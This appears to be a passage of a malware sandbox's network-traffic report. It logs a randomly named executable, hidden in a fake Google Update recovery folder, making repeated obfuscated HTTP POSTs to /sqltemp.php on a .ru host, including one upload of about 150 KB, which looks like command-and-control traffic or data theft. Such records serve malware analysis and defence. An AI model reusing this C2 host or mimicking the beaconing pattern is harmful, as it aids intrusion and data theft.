Jan 1, 2025 16:02:19.467936039 CET	1124	OUT	Data Raw: 56 5e 5a 56 51 5c 54 54 58 56 52 59 56 5c 59 51 5b 5d 54 5d 55 58 50 5f 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: V^ZVQ\TTXVRYV\YQ[]T]UXP_Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.'," ,=$>4,%U#);#"0?;.1/;R9&Y.,Y-5
Jan 1, 2025 16:02:19.553513050 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:19.766470909 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:19.820770979 CET	817	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=L6bFR4lcm%2F1%2FnFQWXz%2FcplJLw%2FKx5MNctkbc5nfhslf6KcST3JcWvNsHCvPZ77ze4XvzQls%2Bl3OxDY7epA30LGB1DTDx7N%2Bi%2BcEt93hhyLRHEj%2B%2F6jYvtEf3xWcziqyStwFNvJbo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb363c3ed95426b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2457&min_rtt=1688&rtt_var=2172&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1402&delivery_rate=186129&cwnd=231&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49778	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:20.024027109 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49780	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:20.250724077 CET	304	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 150660 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:20.598762035 CET	12360	OUT	Data Raw: 56 52 5f 52 51 5d 54 57 58 56 52 59 56 50 59 5e 5b 5d 54 5e 55 58 50 5e 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VR_RQ]TWXVRYVPY^[]T^UXP^Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-$ -_0$8-W7Z?)(>72+Z?+"&/?-*&Y.,Y-
Jan 1, 2025 16:02:20.603796959 CET	4944	OUT	Data Raw: 20 39 28 3a 0a 5a 33 5a 03 04 3f 55 3b 03 12 3e 03 59 3e 11 3a 3e 23 30 2b 58 39 15 09 57 27 05 3e 24 33 01 3d 20 18 33 20 43 35 2f 3d 2e 0e 34 38 5f 0f 1d 26 08 0e 39 3a 20 0f 03 0b 28 50 59 39 03 2f 18 33 3b 26 1c 3f 3f 2d 32 37 0a 00 5b 10 06 Data Ascii: 9(:Z3Z?U;>Y>:>#0+X9W'>$3= 3 C5/=.48_&9: (PY9/3;&??-27[4 #R9Y:214>2-2R'W3?7 8X2Y0<#<&=60:.(./[7R>?4>0:2:628- <Z5=0$9#/T_S(1;[=>#61QV%0$\,!==)!(9'-.3]W1.3\' ,V?W(1U7>(\ 1Z
Jan 1, 2025 16:02:20.603848934 CET	2472	OUT	Data Raw: 26 35 3f 24 01 30 23 05 28 5a 18 42 37 06 02 26 2b 2c 08 5d 35 3a 04 55 0e 30 11 0b 23 12 57 14 20 11 0b 5b 0c 3c 3a 3f 20 2d 2e 1c 09 3e 15 07 38 5c 2e 17 3a 07 0d 38 07 5d 02 35 06 5b 27 3c 34 31 1e 24 34 05 3d 09 3d 5b 28 2e 07 3c 26 5e 3f 39 Data Ascii: &5?$0#(ZB7&+,]5:U0#W [<:? -.>8\.:8]5['<41$4==[(.<&^?9!)($Z,(.8# &< >):&X!32T(,.:/R05?:2](;6?:/,- "?T,571/>>#3<S?1[8>7 ]?.>),@2_(;. .;=4(90#8']"(<$1) Z<R=-*T8/6W^Y\";-
Jan 1, 2025 16:02:20.603921890 CET	12360	OUT	Data Raw: 3b 5a 27 18 04 39 34 56 0e 02 2c 3c 3b 5b 27 1d 33 5d 3f 14 0c 05 30 5c 34 05 07 54 27 2d 33 2e 31 2d 03 37 33 33 3f 2a 0f 25 2f 3e 3b 21 1c 24 0f 28 0f 34 0e 04 38 0d 0d 00 52 1b 3e 21 24 1c 23 32 03 5e 27 37 25 13 0f 05 0d 54 33 04 55 0c 3f 5a Data Ascii: ;Z'94V,<;['3]?0\4T'-3.1-733?%/>;!$(48R>!$#2^'7%T3U?ZA0/%>82<+$/$X[(;#T8.-3X"]] '.)3%Y;3<72-#0[3_6'$?R.>%#>R<>"2']>]&X3W-Q-1>>Q9--\[0%1+: _+7Z 2$14(V?
Jan 1, 2025 16:02:20.604046106 CET	4944	OUT	Data Raw: 3d 2f 02 29 30 3b 0b 13 27 2d 17 0b 30 22 52 29 24 5d 19 00 36 3f 2f 23 2b 06 31 44 05 2f 5f 31 33 3e 25 32 35 5c 0f 0e 3a 22 01 17 0b 05 34 1c 39 59 08 13 3d 3c 0b 11 20 3d 3e 24 0e 3c 34 33 37 5c 26 37 3d 04 33 3a 2b 29 1e 53 2c 59 27 5d 0d 0d Data Ascii: =/)0;'-0"R)$]6?/#+1D/_13>%25\:"49Y=< =>$<437\&7=3:+)S,Y']0'0=?Y8505:2609$"8-!9X_(.V1-W08X)[>)^5;4%<>>>:!814?>">4 X;,?,#X>7$+R?$2?/33(=Q:+5<U0T<&TWH 4-0A SYS8)
Jan 1, 2025 16:02:20.608778000 CET	4944	OUT	Data Raw: 0c 56 3f 5a 36 28 3e 05 08 33 20 22 01 5b 29 1d 3f 16 31 5e 28 1d 29 3f 32 30 31 1c 08 06 20 34 2f 5d 1f 34 3f 3e 2c 27 3f 33 1c 30 3d 3e 3d 1d 26 22 3b 2a 07 3c 12 3e 24 5b 0b 58 2a 5d 31 1f 0b 5a 53 58 29 14 5f 10 0d 2e 25 5f 39 24 2c 5e 3f 5b Data Ascii: V?Z6(>3 "[)?1^()?201 4/]4?>,'?30=>=&";<>$[X]1ZSX)_.%_9$,^?[UW:/2'5Z!^=2]:-U$#!]_3.H[;/- !4..:,T!1?:Q1+Z7.U>6!-=,;5<3_9=0>214,)_*-;[#T"%?(1#=Y74Z[+,/:?809'Y?=]=//;.
Jan 1, 2025 16:02:20.608808994 CET	4944	OUT	Data Raw: 3d 3f 0e 5d 27 32 0a 1a 32 0b 19 18 36 11 27 32 02 2f 06 03 3c 3c 13 5a 27 13 1e 5d 3f 34 23 20 09 2b 24 05 0d 31 27 5a 3e 3b 15 2c 3a 04 37 5e 39 06 1c 15 30 3d 23 50 28 3d 1b 52 0b 56 16 15 23 19 33 2e 20 30 49 3c 38 38 0b 12 3c 3f 5f 30 3b 06 Data Ascii: =?]'226'2/<<Z']?4# +$1'Z>;,:7^90=#P(=RV#3. 0I<88<?_0;;&> T!32<0]"-/@5V5^+5&/#-14&(<!9(:^9?(?V;;6 =^" 74;(7X;?6/>=>0_]S9)87%[7 &X>Z_3-6<6!U5,U4;<>:[.<
Jan 1, 2025 16:02:20.608836889 CET	2472	OUT	Data Raw: 20 17 07 15 3e 3e 0e 10 0d 1d 31 20 3f 02 0f 58 3f 3c 2c 27 31 35 22 12 25 5a 17 26 31 31 3d 1c 22 5f 40 06 32 2c 23 23 2b 3d 2e 06 31 00 0a 01 2b 2f 25 18 07 35 22 56 3a 22 3f 04 0d 3e 20 55 3e 2e 0f 27 3a 59 55 24 37 5a 3a 04 39 5b 34 40 05 3d Data Ascii: >>1 ?X?<,'15"%Z&11="_@2,##+=.1+/%5"V:"?> U>.':YU$7Z:9[4@=#Z;\6-4-?0;\0_>29-68%_04"#U09-39-^\7">,.T=U3=/3>>+R?_:2,=^^P&8_9"4>.U/'">P)-;^,"Z=\44 ^,&.#<,^3+$ZV^:X??>#&*?^W789P
Jan 1, 2025 16:02:20.608939886 CET	2472	OUT	Data Raw: 0a 3d 00 3b 0e 29 06 5f 39 3c 06 5f 33 0d 34 06 35 32 0e 09 3f 5a 09 02 2a 5a 24 05 3c 11 3e 00 0b 13 19 2f 2b 3a 09 0e 38 28 02 25 24 2d 37 3d 31 28 09 55 33 04 34 58 39 5b 22 55 33 3f 15 56 33 58 56 20 3b 36 48 21 37 51 27 21 0e 20 45 27 0a 35 Data Ascii: =;)_9<_3452?ZZ$<>/+:8(%$-7=1(U34X9["U3?V3XV ;6H!7Q'! E'560?;)'0?[6'+% P4]'Y5 7![8<+R 0"39RX+/9") "P.<(W0)8'[ X8:5+*3=;9><<\&9,9=5=7B?=31[$^)&.&(>9Q0-?U$\2$$ZV
Jan 1, 2025 16:02:20.609020948 CET	4944	OUT	Data Raw: 03 26 2e 25 0c 3c 59 12 28 3a 23 52 03 2f 37 2c 3d 1c 34 12 36 5e 0b 40 25 2f 02 11 02 2e 5a 2d 3e 02 17 5a 2b 29 03 1a 3e 33 0c 3c 3f 04 3c 1e 31 28 03 5c 0a 3d 24 17 31 0d 08 0f 04 5a 0f 0b 39 23 50 07 07 2c 5b 0b 0d 07 31 31 29 3b 52 35 3b 22 Data Ascii: &.%<Y(:#R/7,=46^@%/.Z->Z+)>3<?<1(\=$1Z9#P,[11);R5;",-54:";\.0>V$5;?^>[S^=.'<\++_80$$YD31/T-9>]#<'7Q833"' 93!?7:0;%"V[X6V%#&X:Y Q59*,"[8;"^8\<32!&>10=+%!2?/>
Jan 1, 2025 16:02:20.694576025 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:21.665632010 CET	808	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7k7ln8QuEZdDEwIIxmN9790YAF6scfv0QKkDwQ1ecAW7LG8lJQiq7i9qIfhYhB%2Br2MO3IVTTljvhJrJN9Z1EQpXEaOfzGZhbvHex1ivpw0uU4XFLjrH1GFEoXVcqAcR8zz%2FPcYDj"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb363cb094e42b0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2251&min_rtt=1758&rtt_var=1645&sent=53&recv=156&lost=0&retrans=0&sent_bytes=25&recv_bytes=150964&delivery_rate=256050&cwnd=232&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	62429	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:20.450995922 CET	302	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue Connection: Keep-Alive
Jan 1, 2025 16:02:20.797820091 CET	1124	OUT	Data Raw: 56 51 5f 50 51 5c 54 57 58 56 52 59 56 58 59 5e 5b 5d 54 5a 55 5a 50 58 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VQ_PQ\TWXVRYVXY^[]TZUZPXZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-3?6#"%-',& 0[+:$=-' 23Y<;:%?S.&Y.,Y-%
Jan 1, 2025 16:02:20.895581961 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:21.156426907 CET	804	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7k%2FTtCHQhsM2UqzXlYkXfp%2BNFNdrHuqr86XvGPAgXljlhQB%2Bh7x2MFPAkAOc6WGgzLFNO3WD5Grp9VKiwRRfDjdzIE8qOGOTP63h3kVjPCDdihg4x1Od0ar97yfYkCrQOPgQ0B1o"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb363cc58a24246-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4047&min_rtt=1614&rtt_var=5472&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1426&delivery_rate=69253&cwnd=228&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	62436	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:21.662587881 CET	278	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue
Jan 1, 2025 16:02:22.022550106 CET	1124	OUT	Data Raw: 56 50 5a 54 54 59 54 55 58 56 52 59 56 51 59 51 5b 52 54 5f 55 5e 50 5e 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VPZTTYTUXVRYVQYQ[RT_U^P^Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.[&/%]7<-\$.'8:273+)?T='#*+)1,#-&Y.,Y-
Jan 1, 2025 16:02:22.110033035 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:22.368505001 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E3%2BudHspWeH4H8dUk83z1qcr5jhn6ZcyAN1b6BCl8o%2FgPjcCPL1grklnMDXhRlyj8ukTjpR5mqPWo%2BKdva6GZBW0aa5HzXUeKJCMcMbj9I2w0MCNgkwFzI93gzWEhaLhGZqoAre%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb363d3eaff8ce0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2663&min_rtt=1906&rtt_var=2230&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1402&delivery_rate=183209&cwnd=210&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0
Jan 1, 2025 16:02:22.376399994 CET	278	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1964 Expect: 100-continue
Jan 1, 2025 16:02:22.472697973 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:22.473480940 CET	1964	OUT	Data Raw: 53 54 5a 51 54 59 54 57 58 56 52 59 56 5e 59 54 5b 5f 54 59 55 5b 50 5c 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: STZQTYTWXVRYV^YT[_TYU[P\Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.$/]4Y>'/92!-<:(*.+!2+52?:&Y.,Y-
Jan 1, 2025 16:02:22.773247004 CET	951	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hzzDt1CPwyhXgWBGZiDMzHEzPggi0CPe6VdB5ths0TH02KhigYM1pjW5jMHlVpuiUpcsjNQ9fkkuSbevkC5vDvjaacttKo9zoxRlQ1fXhui4K8f2o7VYqua3HM53agx9rEVL8WLF"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb363d62d6e8ce0-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5272&min_rtt=1906&rtt_var=6778&sent=9&recv=11&lost=0&retrans=0&sent_bytes=857&recv_bytes=3644&delivery_rate=1487519&cwnd=213&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 00 1f 26 08 3d 3d 3d 0d 25 0c 27 00 28 04 30 0e 32 2e 29 00 28 38 31 06 33 3d 2f 58 29 3a 2c 01 36 3c 0f 5f 26 5e 24 59 37 13 09 12 33 34 2b 59 05 1c 20 08 35 01 02 59 2a 03 3b 59 26 11 31 13 33 3e 3f 07 2a 28 0d 0f 23 28 23 5b 26 2d 37 05 3e 39 23 0c 26 3c 34 03 2e 59 21 1d 33 3a 2c 54 00 11 25 0d 27 0f 23 04 23 27 28 5b 21 31 18 01 26 37 36 1b 25 3c 0d 54 20 2a 31 05 25 32 30 00 21 1d 22 11 26 05 26 04 23 2e 2f 55 2a 14 25 53 20 02 2d 48 05 3f 57 53 0d 0a 30 0d 0a 0d 0a Data Ascii: 98&===%'(02.)(813=/X):,6<_&^$Y734+Y 5Y;Y&13>?(#(#[&-7>9#&<4.Y!3:,T%'##'([!1&76%<T 1%20!"&&#./U%S -H?WS0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	62443	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:22.524871111 CET	278	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue
Jan 1, 2025 16:02:22.875992060 CET	1124	OUT	Data Raw: 56 55 5f 5c 54 5c 51 51 58 56 52 59 56 50 59 5e 5b 5e 54 5f 55 5a 50 5c 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: VU_\T\QQXVRYVPY^[^T_UZP\Z_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.Y$<9] /$8V4.0[()+V)X<!2?Y?+"2?U-:&Y.,Y-
Jan 1, 2025 16:02:22.989694118 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:23.305875063 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6bT1d7RuvHI7eXFH7yyeNlbYDrUFTi9dNSQf3Pj7uslI6JVmeu7jseCYZepW%2FoLwzm6crjvNzCjVWTO5fcmiyPNMwCwM0zm1EEdSVQ8HqzJnO%2B%2BT%2FkKsnU3peRZgvV1mV5KbqQpt"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb363d9692a4393-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=8054&min_rtt=1758&rtt_var=13252&sent=2&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1402&delivery_rate=28006&cwnd=200&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	62451	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:23.428395033 CET	278	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue
Jan 1, 2025 16:02:23.785437107 CET	1124	OUT	Data Raw: 56 5f 5f 50 54 5c 51 55 58 56 52 59 56 5c 59 52 5b 5c 54 5f 55 5e 50 5a 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: V__PT\QUXVRYV\YR[\T_U^PZZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S.$&4=_3#/\140[(S)$Z41+*8)B$/V.&Y.,Y-5
Jan 1, 2025 16:02:23.870918989 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:24.158406973 CET	809	IN	HTTP/1.1 200 OK Date: Wed, 01 Jan 2025 15:02:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QTPEHslymt9g9vdDd5RvUQWJyfbkF0hNGtg%2FQJUpdYB%2FpTO00%2BkWyQ7pCpYpy80Qht0l6YMdDr9wqTjRCWXfQde5PZQVm%2BBhRnBb970kDzHj6rU8jFEN%2FerUWwNqFnwVO80YVtBc"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fb363dee929f791-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2308&min_rtt=1524&rtt_var=2139&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=1402&delivery_rate=187251&cwnd=146&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 32 57 5c 58 0d 0a 30 0d 0a 0d 0a Data Ascii: 42W\X0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	62458	104.21.38.84	80	7048	C:\Program Files (x86)\Google\Update\1.3.36.312\Recovery\GUR2DE8.tmp\AdbXCBUViTnoVBSsOq.exe

Timestamp	Bytes transferred	Direction	Data
Jan 1, 2025 16:02:24.306349993 CET	278	OUT	POST /sqltemp.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36 Host: 250345cm.renyash.ru Content-Length: 1124 Expect: 100-continue
Jan 1, 2025 16:02:24.657216072 CET	1124	OUT	Data Raw: 53 54 5f 54 54 58 51 50 58 56 52 59 56 5b 59 55 5b 5e 54 59 55 5a 50 58 5a 5f 59 5c 54 58 55 5c 59 59 57 52 58 59 5a 5c 58 58 54 59 59 52 54 5d 53 50 5a 49 5a 5a 56 5e 51 58 51 58 5b 5e 57 5e 5a 5f 5e 5d 56 59 56 51 5e 5a 59 5f 5f 58 42 5e 54 5b Data Ascii: ST_TTXQPXVRYV[YU[^TYUZPXZ_Y\TXU\YYWRXYZ\XXTYYRT]SPZIZZV^QXQX[^W^Z_^]VYVQ^ZY__XB^T[SV_YU]S]RQ_]VPS\\]\PB][RZ[\TC_X@TQXYYU]^X][W\[__X_[V[_X[URTXZPZ\TAPST^BXG^V^ZQA^^FP]U[U[P^U_TWYRZQX^]S-&<5 10.,)!U >8_?*><\#'](62:&Y.,Y-)
Jan 1, 2025 16:02:24.761190891 CET	25	IN	HTTP/1.1 100 Continue
Jan 1, 2025 16:02:24.974467993 CET	25	IN	HTTP/1.1 100 Continue
